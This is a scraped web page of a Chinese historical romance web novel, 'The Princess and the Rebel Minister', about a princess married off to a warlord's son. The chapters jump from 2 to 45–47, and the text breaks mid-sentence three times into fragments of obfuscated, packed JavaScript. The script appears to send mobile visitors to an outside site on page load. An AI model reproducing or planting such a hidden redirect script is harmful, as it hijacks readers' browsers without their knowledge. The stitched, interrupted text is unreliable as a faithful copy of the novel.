《公主与叛臣》 1. 第 1 章 《公主与叛臣》全本免费阅读 梁国的都城北苏,是方方正正的一座城。 周围足有三十多里,规模宏大,布局平整。 城里大街笔直宽广,小巷星罗棋布,还有河流穿城而过,岸边种满了各色树木与花草,繁华热闹中又不乏幽静宜人。 城中心自然是皇城了。 皇城正中是皇帝居住的宫城,周遭是官员机构所在地。 在皇城的南面有一处居民区,多是皇族或高官居住。 其中有一座小小的宅子,不过三房一院,却是翰林院修撰南以柏的居所。 因这一日是正月十五元宵佳节。 南以柏南大人带着女儿南雁平、儿子南雁之、外甥女萧沅莹出门游玩,猜灯谜,赏花灯,一直玩到亥时,方才回家。 南以柏略用了些宵夜,洗漱换衣,正要休息时,却有老仆人急急来报,说皇上来了。 南以柏心里一惊,不免有些慌了。 虽说自沅莹寄居在这里,皇上隔三岔五地来探望,有时甚至用过晚饭方回。 但从未这般晚过,不会是出了什么事吧。 南以柏不敢怠慢,急忙出门迎接,皇帝萧承却已行至屋外。 萧承穿着便装,玄色窄袖袍,红鞓玉环带,黑色皂靴。 虽说院中月色明亮,皇帝的神色却晦暗不明。 南以柏不及多想,忙跪下行礼,又将人迎进屋内。 皇帝萧承年已二十五岁,自十八岁继位,至今已有九年。 他虽继承了萧家人的好相貌,生得龙眉凤目,白净清秀,却没有继承萧家人的好体魄,一向有些体弱。 尤其是近两年朝政日渐混乱,藩镇屡屡生事,令这个年轻儒雅的皇帝越来越烦闷忧郁,怏怏不乐。 身体也每况愈下。 南以柏待萧承坐下,忙命人上茶。 萧承却摆手道:“不必了,方才朕与太后登宣德楼赏灯,太后已先行回宫,朕方有机会过来。之所以这么晚,实因情势紧迫。” 南以柏心中一跳,“皇上的意思是......” “今晚,沅莹须得回宫了。”萧承缓缓吐出这句话,微不可察地叹了口气。 “回宫......这......”尽管已有了不好的预感,乍一听到这句话,南以柏仍觉难以接受,“皇上,太后知道了?” “太后其实早就知道了。”萧承苦笑道:“她一直隐忍不发,朕还当她是一时慈悲,要放沅莹一条生路,没想到是另有筹谋。太后,要沅莹嫁给北幽节度使凌文山之子凌唯州!” 嫁给跋扈的藩镇之子! 南以柏倒吸了口冷气,急道:“皇上,万万不可,北幽在藩镇中兵力最强,地盘最大,也最有野心,那凌文山更是藐视朝廷,心怀鬼胎。沅莹嫁过去,这一生就毁了!” 南以柏说完眼巴巴地望着萧承。 萧承沉默,苍白的脸颊上忽而滑过一行清泪,面上却无任何表情,只道:“是朕没用,对不起南母妃及卿!” 这话重了,南以柏耳内轰地一声响,扑通一声跪下,砰砰磕了几个响头,惶恐道:“臣不敢,臣的妹妹南妃触怒太后,自愿追随先帝而去,当时沅莹才八岁,若不是皇上从中周旋,沅莹焉能长大!” 萧承起身扶起南以柏道:“这些都不必说了,朕不是是非不分之人,南母妃的为人,朕从小就看在眼里,太后脾气不好,朕幼时常常被冷落责罚,却多得南母妃的照顾,有时是一句温言,有时是一顿可口的膳食。与先帝的关系也因南母妃而融洽许多。你放心,无论怎样,朕会想办法护沅莹周全,事已至此,更深露重,还是早些接了沅莹回宫吧!” 南大人和萧承来到后院厢房,见房中灯火尚明,便叫过丫鬟问道:“两位小姐睡下了?” 丫鬟回道:“两位小姐赏灯回来,又叫了些宵夜吃,大小姐灌了表小姐许多酒,自己也喝了好多,这会子两个人都撑不住合衣睡了。” 南以柏听了举步进屋,萧承随后跟上。 进得屋来,却见南雁平和萧沅莹东倒西歪睡在床上,一个鹅黄色衣衫,一个月白色衣衫,一个疏眉秀目,一个娇美动人,脸色都红扑扑的,如花朵一般。 南以柏心里如刀剜一般,强笑道:“雁平若是知道沅莹要走,定会闹起来,幸亏今日观灯累了,她们两个又喝了酒,睡得沉,倒免了麻烦,” 萧承点头道:“两个丫头感情好,可惜终有一别。” 萧承从丫鬟手里接过斗篷,将萧沅莹裹了,拦腰抱起,大步出门。 南以柏看了看尚自熟睡的女儿,无声地叹了口气,连忙追了出去。 直追出院门,方见萧承抱着萧沅莹已进了轿子。 同是便服打扮的轿夫和侍卫,抬轿的抬轿,护卫的护卫,一径去了。 南以柏站在台阶上,望着那顶小轿越走越远,渐渐消失在夜色里。 萧沅莹又做了那个梦。 寝殿里温暖如春,自己裹被而眠。 睡得正香时,忽地冲进来几个嬷嬷,粗鲁地将自己从被子里扯出来,一路拖行,丢在了荒郊野外,冰天雪地里,北风扑面,寒冷刺骨。 萧沅莹一个人影也看不见,也找不到路,只觉得自己冻得快要死了。 绝望之际,忽然看到母妃向自己走来。 萧沅莹高兴地跑过去,扑进了母妃的怀抱,霎时一股暖意流遍的全身。 “母妃。”萧沅莹呢喃着,再抬头时,却见哪有什么母妃,面前之人是萧承。 “皇兄!”轿身一晃,萧沅莹猛地惊醒,睁眼一看,竟然真的看到了萧承! 萧承看萧沅莹睡眼惺忪,一脸的迷茫,忍不住揉了揉她的头顶,笑道:“醒醒了,别发呆了!” 萧沅莹揉了揉眼睛,轿外钻进来一股寒冷之气,令她迅速清醒过来,不由看了一眼四周道:“皇兄,我还当自己是在做梦呢,这大半夜的,要去哪里?” “去皇宫,不,是回皇宫,回你自己的家。” 回皇宫,回家。 萧沅莹一颗心忽地下坠,坠入了深不可测的渊谷。 “好妹妹。”萧承见萧沅莹脸色大变,忙握了她的手道:“你怕什么,你是我萧家金枝玉叶的公主,岂能长年流落在外,如今你也大了,不必再怕那些老刁奴,至于太后,自有朕在你前面挡着,再说只有一两个月,随便应付一下就行了。” 萧沅莹听了疑惑:“皇兄,什么叫一两个月,你把我说糊涂了。” 萧承看着萧沅莹,心里又是一阵叹息与无力。 十七岁花一般的年纪,且又美丽可爱,心善热忱。 把这样一朵 2. 第 2 章 《公主与叛臣》全本免费阅读 何太后危急之时,南妃生了个女儿,并且因为身体不好,短时间内无法再生育了。 先帝无法,只好立了萧承为太子。 何太后躲过了一劫。 几年后先帝驾崩,何太后终于有了扬眉吐气的机会,一条白绫赐死了南妃,又开始对萧沅莹下手。 何太后本以为虽然先帝视自己为蛇蝎,对自己不理不睬,但至少亲儿子是向着自己的。 却万万没想到萧承要替那个贱人的女儿说话。 这无疑是在她的伤口上撒盐,心窝上戳刀。 “你居然为她说话,你在顾念手足之情?!”何太后气得手都哆嗦起来,将手中的碧玉茶杯掼了个粉碎,起身咆哮道:“真是笑话!且不提哀家受了多少罪,单说你,当年若不是老天保佑,让那个贱人生了个女儿,你能坐上皇帝的位子?还有,那贱人几次三番地挑唆,让先帝憎恶我们娘俩儿,令你失爱于先帝,宫里头有点头脸的太监都敢对你不敬,如今你倒为她女儿说话?” 这些心结萧承其实开解了何太后很多次,但何太后根本听不进去,一心只沉溺在仇恨里。 萧承已无耐心再劝,只得又说道:“母后,若如您方才所说,沅莹该是我们的救星啊,我们实在应该谢谢她,倘若她是个男孩,岂能有你我翻身的机会,说到底,儿臣不在乎别人,只是希望您能放下心结,心情开阔,好好享受后半生的荣华。” “你别再说了!”何太后无论如何也听不进去,断然道:“哀家偏要折磨这个丫头,让那个贱人在地下也不得安生!” 萧承听了只觉一股冷意从脚底浸上来,直冲脑门,彻底放弃了劝解何太后。 之后冥思苦想了半日,在身边太监的建议下,找遍了全北苏城,寻了个与萧沅莹年龄、身高、相貌相仿的女孩子,送到了萧沅莹居住的澄林殿。 萧沅莹则被悄悄地送到了宫外舅舅家。 对外又宣称萧沅莹病重,需要静养,任何人一概不见。 何太后也知这次做的有点过,意识到萧承是真恼了,便偃旗息鼓了一阵。 之后萧承要去西北巡视,便借口萧沅莹大病一场需要散心,把“假的”萧沅莹也带上了。 这一走又是半年,再回来时,何太后距上次见萧沅莹已隔了快一年。 假沅莹在身旁人的引导下,一直学习萧沅莹的走路、说话以及各种习惯。 何太后毕竟也有了岁数,眼神不比从前,一时没认出来真假。 太后身边的宫人虽有起疑心的,但都怕得罪皇帝,不愿第一个说出来。 真假公主这事便成了宫里公开的秘密,只有何太后被蒙在鼓里。 接下来的几年,何太后仍时不时地寻萧沅莹的麻烦,幸而这位假公主来自民间,身子骨结实一些,对一些小打小罚不以为意,萧承又明里暗里护着,倒也相安无事。 然而随着真假公主渐渐长大,萧承也开始犹豫要不要把沅莹接回来,毕竟到了出嫁的年纪,要选附马了。 就在此时,何太后突然把萧承叫了去,气定神闲地对他说:“哀家知道你把那丫头偷梁换柱了,不过你放心,哀家也烦了,懒得再搭理她,但如今藩镇割据,为所欲为,动不动就兴兵反叛,令你烦忧,哀家决定了,挑一个最跋扈的藩镇让那丫头嫁过去,以示荣宠,这样一来,既安抚了桀骜的藩镇,又打发了一个公主,两全其美。你这便将她接回来,年后便出嫁,省得夜长梦多。” 瞧瞧这说的是什么话,还“打发”、“两全其美”。 萧承从纷烦的思绪中回过神来,望着仍是一脸懵懂的萧沅莹,硬着心肠道:“这次接你回来,是要送你去北幽。” “北幽?就是那个拥兵最多,据地最广的藩镇?” “你懂的这么多,还知道北幽?”萧承惊讶。 “舅舅给我们讲的,他常说我们不能只读死书,要知晓一些书本外的东西。” “你舅舅是很开明,否则也不会让你那表姐去学什么武艺。” “表姐爱学,又极有天份,否则以成一大师的身份,怎么肯收一个女弟子呢!”萧沅莹道:“连我也偷学了几招呢!” “哦?你那几招花拳绣腿,能把你那文弱的表弟打趴下吗?” “皇兄,你别岔开话头了。”萧沅莹盯着萧承的眼睛道:“你是想让我嫁去北幽吧?” 萧承没想到萧沅莹小小年纪,一下子便猜到了他的意图,又觉愧疚,一时无语。 萧沅莹只觉身上涌起一股战栗,头嗡得一下,忙追问道:“这是太后的意思,还是皇兄你的意思?” 萧承直视萧沅莹,坦然道:“这事是太后的意思,但朕考虑了很久,认为此事并不一定就是坏事。你舅舅既然给你讲了藩镇,大概也说了当前朝廷的困局,那你可知各个藩镇为何变得如此跋扈,屡屡挑衅朝廷?” “我听舅舅说,自代宗宝历年间潘志青和韩会起兵反叛之后,朝廷便一直动荡不安。” “不错,那时候的朝廷已多年未经战事,军备松弛,士兵老弱。那潘志青的河川军却勇猛善战,以一当十,不过几个月便攻占了数百个州县,吞噬了万千生灵。那场浩劫持续了两年,虽然最终平定了,却动摇了我大梁的根本。从那以后,藩镇仗着平叛有功,渐渐不服朝廷管束,将朝廷划给的州县当做自己的私产,爹死了儿子继承,哥哥没了弟弟上,倒成了世袭罔替了。” 萧承说得平静,甚至笑了一下,萧沅莹却听出了其中的悲凉,不由眼底一酸,差点落下泪来。 “皇兄,你真的不必自责,自代宗皇帝以后,你是最有作为,最勤政爱民的皇帝,怪只怪先人留下的摊子太烂了。” “沅莹,莫要妄议先祖!”萧承吓了一跳,连忙阻止。 “不说又怎样呢!”萧沅莹正色道:“皇兄,我明白你的用意,你是怕万一有山河倾覆,风雨飘摇的一天,将我送去北幽,至少能保住性命。可是皇兄,萧家有甘愿苟活的子女么?” 萧承之所以愿意为了萧沅莹对抗何太后,一是因为血缘,二是为了报答自己幼时南妃的关照。 还有一个原因就是萧沅莹从小就生得玉雪可爱,又乖巧懂事。 是以虽然被送出了宫,萧承也经常到南以柏家探望,看着萧沅莹从一个漂亮的小女孩长成一个美丽温婉的少女。 是的,温婉,温和婉然,清隽聪慧,这便是萧承眼里的妹妹。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12786839|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 另一人道:“周爷息怒,我这不来了嘛,东西难得,耽搁了点功夫,您瞧。” 一阵轻微的瓷器碰撞声,那被称作钱老二的人又道:“这可都是好东西,千万别浪费了,您听我慢慢跟您讲。” 那人煞有介事地清了清嗓子:“这个青瓶的,闻之无味食之亦无味,只需一小勺,便可令佳人浑身脱力,昏昏欲睡,到时周爷便可为所欲为。” 又哈哈哈奸笑几声,接着道:“这个绿瓶的,亦能令人手脚酸麻,动弹不得,不同之处在于服下之人头脑是清楚的,若想有些趣味,便用这一瓶。” “果真管用么,别把人吃死了。” “这哪能呢,我干这一行多少年了,价格公道,如假包换,鑫红楼的老鸨可都是从我这时拿货。” “多少银子?” “不多,只要二十两。” “钱老二,你穷疯了吧,这么几个破瓶子,要二十两......” 萧沅莹在外听得清楚,心想这两个畜生,不知要祸害哪家的姑娘,正气恼时,肩头被人轻轻一拍,回头一看,却是凌霜。 萧沅莹不待她说话,忙将她拉到一旁,在她耳边低语几句。 凌霜一听,立时皱了眉。 “竟有这种事,那咱们报官吧。” “如今朝廷哪都乱着,这种事不知道有没有人管,不如咱们先捉弄他们一番,给他们一个教训。” 凌霜虽比凌唯州年长两岁,却也是爽利调皮的,长久闷在后宅中,相夫教子,偶然遇见这事,玩心大起。 两人耳语一阵,偷笑几声,叫过丫鬟来吩咐一番,那丫鬟便下楼而去。 不一会儿上来一个伙计,进了那两男子的包间,问道:“请问哪位是钱二爷?楼下有位爷找您。” 那钱二听说,不疑有他,出了包间下楼。 萧沅莹和凌霜戴了帷帽,手挽手进了那男子的包间,正见一灰衣男子坐在正中,便故意做出吃惊的样子,连连致歉道:“对不住,对不住,我二人走错了。” 那男子见是两位年轻的女子,虽隔着帷帽看不清面容,但听声辨形,早酥了骨头,忙装成正人君子的模样,优雅起身笑道:“不妨事,相逢即是缘嘛,二位姑娘若不介意,留下来喝一杯也是无妨的。” “这怎么好意思,我们是初来京城,不识路径,方才本是要去那边的,喏,就是那座红色的楼。”萧沅莹故意东拉西扯,引着那男子看向外面。 那男子色令致昏,也听不出萧沅莹的话漏洞百出,顺着她手指的方向扒着窗子向外看,口中还不住地问:“是哪一个?” 萧沅莹眼角余光瞥见凌霜已将青瓶的粉末倒在两人的酒杯之中,便道:“记错了,勿怪,告辞。” 说完拉起凌霜疾步出了包间,只剩那男子一脸莫名。 片刻后那钱二骂骂咧咧地回来,说不知是谁捉弄自己,两人便又开始边喝洒边研究那几个瓶子,没一会儿便死猪一样倒在了地上。 46. 第 46 章 萧沅莹和凌霜去而复返,见两个混蛋已倒在地上,大感快意。 “这便是以其人之道还治其人之身。” 萧沅莹将桌上的布袋倒提起来一抖,竟又滚出七、八个小瓷瓶,也不知这些里面装的是什么药效。 “可恶,搞这么多东西害人,让你们两个先享用了吧!” 萧沅莹说着将这几个瓶瓶罐罐全打开了,尽数倒在两个男子鼻子上,嘴巴里,糊了一脸的粉末。 凌霜见了好笑,说道:“被你这样一弄,岂不是要睡上三天三夜了。” “三天三夜哪够,最好是别醒了,倒省得再害人。” 萧沅莹拍拍手,正要和凌霜离开,门外一阵急促的脚步声传来,接着门帘一晃,突然闯进来一个青衣妇人,瘦得麻杆一样,一双三角眼,面色不善。 萧沅莹和凌霜俱是一愣。 妇人扫了一眼屋里,看到地上躺的男子,立时嚎起来:“好啊,钱二你个王八羔子,又跑出来喝酒找女人!” 边说边冲躺在地上的钱二踢了两脚,又瞪向萧凌二人,叉腰骂道:“你们是哪里的小娼妇,收了我家钱二多少银子,把人都喝死了,还不赶紧拿出来!” 萧沅莹和凌霜此时也大概听出前因后果了,这妇人应是钱二的老婆,追到这里来抓奸的。 这二人一胖一瘦,一个无赖一个泼妇,也是绝配了。 只是萧凌二人是什么人,岂能跟她吵架,就是想吵也不会呀! 但这妇人却乖觉,有意无意地挡了半个门口,萧沅莹抓了凌霜的手,便要从她身旁挤过去,口中还说道:“我们可不认识这两个人,你别误会。” 妇人哪里肯信,眼里仿若喷出火来。 “贱蹄子,还不承认。”嘴上骂着,手也已抓了过来,连扯带拽,又打又掐,登时乱成一团。 萧沅莹和凌霜哪里经历过这些,手忙脚乱,心惊肉跳,帷帽被扯掉了,簪子也拽歪了。 那妇人虽瘦,力气却大,萧凌二人不顾仪态,奋力推搡,费了九牛二虎之力才抽身出来,可不敢再停留,急忙下了楼梯,奔出酒楼,上了马车, 那妇人兀自追了出来,边跑边叫骂,引众人瞩目。 凌霜忙命两个护卫拦住,匆忙道:“把这个妇人,还有楼上两个无赖,一并送官。” 萧沅莹在马车上坐定了,心仍是咚咚直跳,捂着胸口喘息,和凌霜对视一眼,都忍不住笑起来。 凌霜替她整了整发簪,心有余悸道:“今儿个算是开了眼了,世上竟有这样的悍妇,太吓人了,还是赶紧回府,打架是小,把你伤到了,我可没法交待。” 萧沅莹也有些后怕,今日出门是她提出来的,也是她多管闲事引来了麻烦,若因此连累到凌霜,那可真是罪过了。 车夫得了吩咐,扬起马鞭,驾车往回走。 凌霜松了口气,反安慰萧沅莹道:“今日真是扫兴,下次得了空,咱们再出来。” 萧沅莹点头,刚要说什么,猛听马儿一声嘶鸣,马车倏地停住,萧沅莹和凌霜不防备,齐齐摔倒,差点从马车上滚下来。 “这又怎么了?” “车夫,车夫!” 凌霜忍痛爬起来,未听见车夫应声,心里纳闷,掀开车帘,正要责问时,却被眼前一幕惊得呆住。 一把明晃晃的大刀抵在车夫脖颈处,另有六、七个蒙面男子围成一圈拦在马画前,都是手持兵器,不怀好意地盯着自己。 凌霜毕竟是武将之女,一阵慌乱过后,迅速冷静下来,高声道:“你们是什么人,为何拦车,若是求财,不妨直说,不必做这副样子。” 几个蒙面男子听了一阵哄笑,其中一人道:“我们不为求财,不就是银子嘛,石虎来的时候,我们早趁机抢够了,今日本是要离开京城,找个山头过逍遥日子,不想方才看到二位娘子容颜,惊为天人,便想着掳回去做个压寨夫人也不错,怎么样,这便跟我们走吧!” 萧沅莹在马车内听得明白,心中暗暗叫苦,心道:这可糟了,偏生那两个护卫留在了陶然居,今日出门真是未看黄历,刚摆脱两个无赖,又遇上强盗! 她担心凌霜,正要表明身份,震慑一下这几个匪徒,拖延时间,却觉马车一晃,跳上来两个匪人,举起刀背劈下来,萧沅莹脖颈一痛,便什么也不知道了。 完了,因自己一时之念,连带凌霜也陷入了险境。 萧沅莹梦里都是拉着凌霜,没命奔跑,狂喊救命,最后还是眼睁睁看着她坠入悬崖。 自己也要往下掉时,一个激灵醒过来,只觉脖颈处针扎火燎的疼,不由呻吟了一下。 待睁开眼睛,却被眼前景象惊住了。 入目是明黄的纱帷帐,侧过头便看见云顶檀木梁,幡龙柱,还有青玉龙耳香炉中轻烟袅袅,地上是厚厚的漳绒毯,其余诸如案几屏风,琴剑瓶炉,也都错落有致,奢华精巧。 自己不是遇到歹人了吗,怎么反而像是回到了宫里? 萧沅莹一时不知道自己是尚在梦中,还是有了幻觉,刚要挣扎着起身,就听吱呀一声门响,却是凌唯州推门进来,手里托着一个薄薄的物什,沉着脸径自走过来。 萧沅莹又惊又喜,忙问道:“你赶到救了我们,这是什么地方,姐姐怎样?” 凌唯州不答话,伸手掰过萧沅莹的肩膀,一把扯下寝衣,将手上的薄薄的东西用力按在她的脖颈处。 “啊......嘶......”肩颈处一阵火辣灼痛,原来是贴了一片膏药。 萧沅莹痛呼一声,待要发怒,转头对上凌唯州布满阴霾的眼睛,到嘴边的话又缩了回去。 凌唯州瞟她一眼,也不理会,转身行至矮几前坐下,端下茶水来猛灌一口,肚子里的火气才稍稍下去了些。 他本在公署理事,任命各司官员,登基事宜,还有攻打恒德的布署,忙得焦头烂额,却忽地心里难受起来,直觉萧沅莹会有什么事,实在不放心,连忙赶回,听丫鬟们说同凌霜出了府,更觉惊心,忙带人寻找,正遇上那伙歹人要驾车逃走,急忙上前,一阵砍杀,没留一个活口。 事情虽已过去了两人多时辰,他仍是后怕不已,再晚到一刻,那贼人们出了城,上哪儿去找,即便找到了,也晚了! 萧沅莹看着凌唯州的背影,咬了咬唇,掀被下床,也行至矮几旁坐下,见凌唯州拧着眉头,看也不看自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12836500|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,虽是心虚,也有些气恼起来,只哼了一声道:“你这是又要装哑巴了?我别的不问,你只告诉我,你姐姐怎样了?” 凌唯州冷笑一声,压着火气道:“这个时候知道担心她了,诓她出门的时候怎么不担心,多管闲事的时候呢?” “你......”萧沅莹气结,想回击两句,又觉底气不足,只嘟囔了一句:“怎能说是诓,我就该整日关在府里不成?” “你还嘴硬。”凌唯州长臂一伸,在萧沅莹脸上不轻不重地拧了一下,“我怎么嘱咐你的,你全当耳旁风,你要把我气死是不是?” 萧沅莹揉了揉脸,不甘心道:“那谁能想到会这样倒霉呢。” “又给自己开脱,你若还是这样冲动不计后果,自不量力,那便哪也别去了!” “你够了,你若嫌我笨,走就是了。”萧沅莹终于忍不了了,恼羞成怒,站起身气呼呼行至窗边,呼啦一下拉开窗子,冷风顿时钻了进来,吹得她打了个冷颤。 凌唯州见状气得眼前一黑,大步走过去,啪的一下将窗户关上,骂道:“你又做什么,穿成这样开窗,想冻死不成!” 虽只一瞬,萧沅莹已看到了外面的景象,一片光秃秃的树林,还有一处池塘,已是薄冰如镜。 “这是哪里?”萧沅莹疑惑道:“我还当是宫里的哪个殿宇,但宫里可没有成片的树林,这里是......飞山宫?” 飞山宫修在皇城北面的一处高地上,是梁朝历代君主夏季避暑之地,占地颇广,有议政和居住的宫殿五座,还有一处园林专供游乐。 “你还记得这里。”凌唯州拉了萧沅莹的手回到床边,让她躺下盖好被子。“一个月前我安排了人修葺打扫这里,本是想过了年节再让你搬过来,你却这般等不及,也好,清翼石悦那边已是垂死挣扎,接下来便是恒德祖家了,这是块难啃的骨头,我必要亲自带兵的,长则一年,最短也要三五个月,留你一人在府上,我也放心不下,你安心在这里住一段时间,这里地势开阔,可别在想着往外跑了。” “我并不是嫌住的地方小,你明白的,我想摆脱的是我的身份,不管是原来的,还是你给的。”萧沅莹慢慢坐起来,用被子裹住自己,方才那一股冷风,穿透了她的五脏六腑。 “你要我一个人住在这里?”萧沅莹喃喃说着,双臂环住自己,下巴抵在双膝上,心里仿若有个微弱的火苗在烧,虽不致命,却沉闷疼痛。 她是想要离开凌府,但不是这个样子,总觉的哪里不对,又无法言说。 “那我不成了你的外室?”萧沅莹抬头,盯着凌唯州的眼睛道:“你知道我想要什么,即便不成,也不用这样羞辱我吧?” 凌唯州万没料到萧沅莹会这么想,他已耽搁了半日,天快黑了,再不回去,所有人都得陪他熬夜。 “我竟不知是我羞辱你,还是你羞辱我,这些日子同你说的,你全不放在心上,我的难处你也不体谅,只一味地要走,却不想想你能去哪,去铁勒时经历了什么你全然忘了。”凌唯州站起身,看着萧沅莹双手捂耳将头埋进被子里,耐心一点点耗尽。 “这是眼下最妥当的安排了,你好自为之。” 47. 第 47 章 这一年的岁尾除夕,凌文山祭祀天地宗社,元朔日正式登基称帝,国号凉,在大庆殿接受了文武百官的朝拜,诏告天下,年号昭德。 追封已故元配林氏为孝宁皇后,补选了十名良家了入宫,封为美人、宝林等。 却未提封太子之事。 凌唯州也不在意,只参加了登基大典,便去了公署,日夜泡在那里,带领一帮文武官员调拨粮草,制订出兵路线策略。 刚过了正月十五,便亲自率兵,往恒德进发。 凌唯州率领大军,几乎日夜不停地奔袭到了恒德边境。 恒德的守军毫无防备,看到浑身是雪的凉军时,还以为是撞见了鬼,个个惊恐失措,四散奔逃。 凉军见状士气大振,一鼓作气接连攻下了恒德边境的十余个州县。 之后祖氏父子匆忙组织抵御,但终究晚了一步。 加之他父子二人气量狭窄,性情猜忌,人心早已动摇。 而反观凌唯州,能与将领兵士同甘苦,身先士卒,亲自上阵,一路上对百姓也是秋毫无范,赢了人心。 两相比较,成败也就不难猜了。 大军凯旋归来的时候,京城已是冰消雪融,风和日暖了。 凌唯州进城后回府沐浴更衣,不及休息,又赶到宫里见新皇凌文山。 从庄重肃穆的宫门进入,但见这座萧氏留下的宫城依旧是飞檐斗拱,流光溢彩,甚至富丽堂皇更胜往昔。 人尚无情,何况草木。 这里的一砖一瓦,一树一花,都和这宫里留下的太监宫女一样,挖空心思地讨好新君,早将他们原来的主人忘到九霄云外。 凌唯州来到勤政殿,举步上阶,却听吱呀一声门响,从殿内转出两个美貌宫嫔来,都是二十许的年纪,云鬓花颜,满头珠翠。 其中一个小腹微微隆起,明显是有了身孕。 凌唯州心里冷笑,推门而入。 凌文山身着绛罗常服,正坐在矮桌前,桌上残席未撤,廖以章陪侍在一旁。 凌唯州上前拜见,问候了别后状况,又详细叙述了拿下恒德的经过。 凌文山边听边满意点头,虽即位才三个多月,新皇明显胖了一圈,脸色更是红润。 “有吾儿在,朕可无忧矣。” 廖以章忙躬身奉承道:“如今这天下,除了躲在池州的何太后小朝廷,俱都归顺了我大凉,这都是皇上的威名使天下归心,臣敢断定,用不了多久,皇上便能一统四海,名垂青史。” 廖以章这马屁拍得虽拙劣,凌文山却十分受用,哈哈一笑道:“征讨池州,还得是州儿披挂上阵,依州儿看,何时出兵池州为佳?” 凌唯州瞟了一眼廖以章,转头对上凌文山热切的目光,略一思索道:“儿臣以为,萧承已死,何太后是个目光短浅,苟且偷安之辈,成不了气候,我们不必劳师动重,不出一年,他们自己便乱了,到时不费一兵一卒,池州自会归附。” 凌文山笑容凝住,廖以章也是一愣,两人对视一眼,又旋即错开。 凌文山轻咳一声道:“你这次征讨恒德,也辛苦了,听说还受了箭伤,还是先休养一段时日,池州的事以后再议,当务之急,是先把册立你为太子的仪式办了,而后便是先太子妃,朕也放了消息出去,京城世家勋贵的适龄女子可都跃跃欲试呢!” 廖以章也凑趣道:“是呢,太子即将大婚,宫里有两位娘娘怀了身孕,以后皇上可不能再抱怨冷清了。” “父皇,萧氏并无过错,儿臣没有理由停妻再娶。”凌唯州不理会廖以章的打趣,冷声道:“我朝新立,本就有小人说三道四,没必要再因为此事被人戳脊梁骨。” “说来说去,你还是向着那个萧氏。”凌文山的脸色立时沉了下来,“萧氏性格倔强不通情理,又曾被恒德祖少杰掳走,说不定早已失了贞,你若实在舍不得,顶多封个良娣,做太子妃万万不可。” “父亲!”凌唯州突然改了称呼,“她是凌家明媒正娶的媳妇,您往她身上泼脏水,脏得难道不是凌家的门楣?” “放肆!”凌文山勃然大怒,“你要干什么?为了一个女人忤逆你的父亲?朕提醒你,你的两个弟弟马上要出生,朕难道非你不可吗?” 这话说的有点荒唐了,廖以章惊异地看了皇帝一眼,头垂得更低了,十分后悔方才没有及时抽身。 凌唯州听了这话却笑了,还笑得十分和煦。 “父皇这话说的极是,您老当益壮,两个怎么够,只是儿子再多,能不能成年,会不会成才,还都是未知,儿臣劝您还是低调些好。” 凌唯州说完也不跪拜,转身大步离开,直把凌文山气得怔在当地,半晌才缓过神来。 再说萧沅莹这边,当时凌唯州负气离开,她着实难受了一阵子。 亲人故去,家国覆灭,处境尴尬,前路渺茫无际,夫君还责怪自己不体谅。 萧沅莹躺在床上流泪,哭着哭着又笑了。 从小到大,凭心行事,从未害人,又何苦以他人之错,责己过甚。 再说整日自哀自怜,长吁短叹,除了让人看笑话,又有什么意味。 既逃不出这困境,不如坦然对之。 想通了些许,萧沅莹勉力振作了起来。 凌唯州虽忙得不见人,却将她的饮食起居打点得很周到。 婢女杂役,厨子护卫,陆续到位,又请来了齐嬷嬷做管事。 齐嬷嬷就是当初在淮风城伺候过萧沅莹的嬷嬷,精明干练,又是府里的老人,有一定威望。 其余诸如书籍,画笔,颜料,宣纸,围棋等等,自是不必细说。 许是怕她寂寞,过不多久,凌唯州又派人送来一只通身雪白的鹦鹉。 萧沅莹一眼便喜欢上了,却忍着不看不摸,好像若表现出喜欢,便是身凌唯州低了头似的。 之后的除夕和元朔是萧沅莹过得最冷清的一个新年。 小时候的记忆是模糊的,只记着红彤彤的灯笼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883518|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精巧可爱的兔子灯,还有五颜六色的新衣饰,成匣成匣的珍宝。 到了舅舅家的新年,虽是骤然寒酸下来,却更温馨惬意,和表姐表弟一齐动手贴门神,挂年画,夜里围坐在起吃着瓜果守岁,听舅舅讲些离奇的故事,吓得晚上和表姐躲在被窝里,只敢露出两只眼睛。 而后便是去年,一个人离家千里,还在病中,但好歹有个人陪着。 今年是最凄凉的了,孤身一人躲在飞山宫里,听钟声回荡,响彻云霄,新皇登基,百官跪拜,万民欢庆。 那几天,绿芜朱草她们,走路都是小心翼翼的。 萧沅莹却是有点好笑,自己哪会因这个发脾气,那才真会被人当成小丑了。 后来听齐嬷嬷说凌唯州带兵去了恒德,她也只是嗯了一声,无用之人,不问世事。 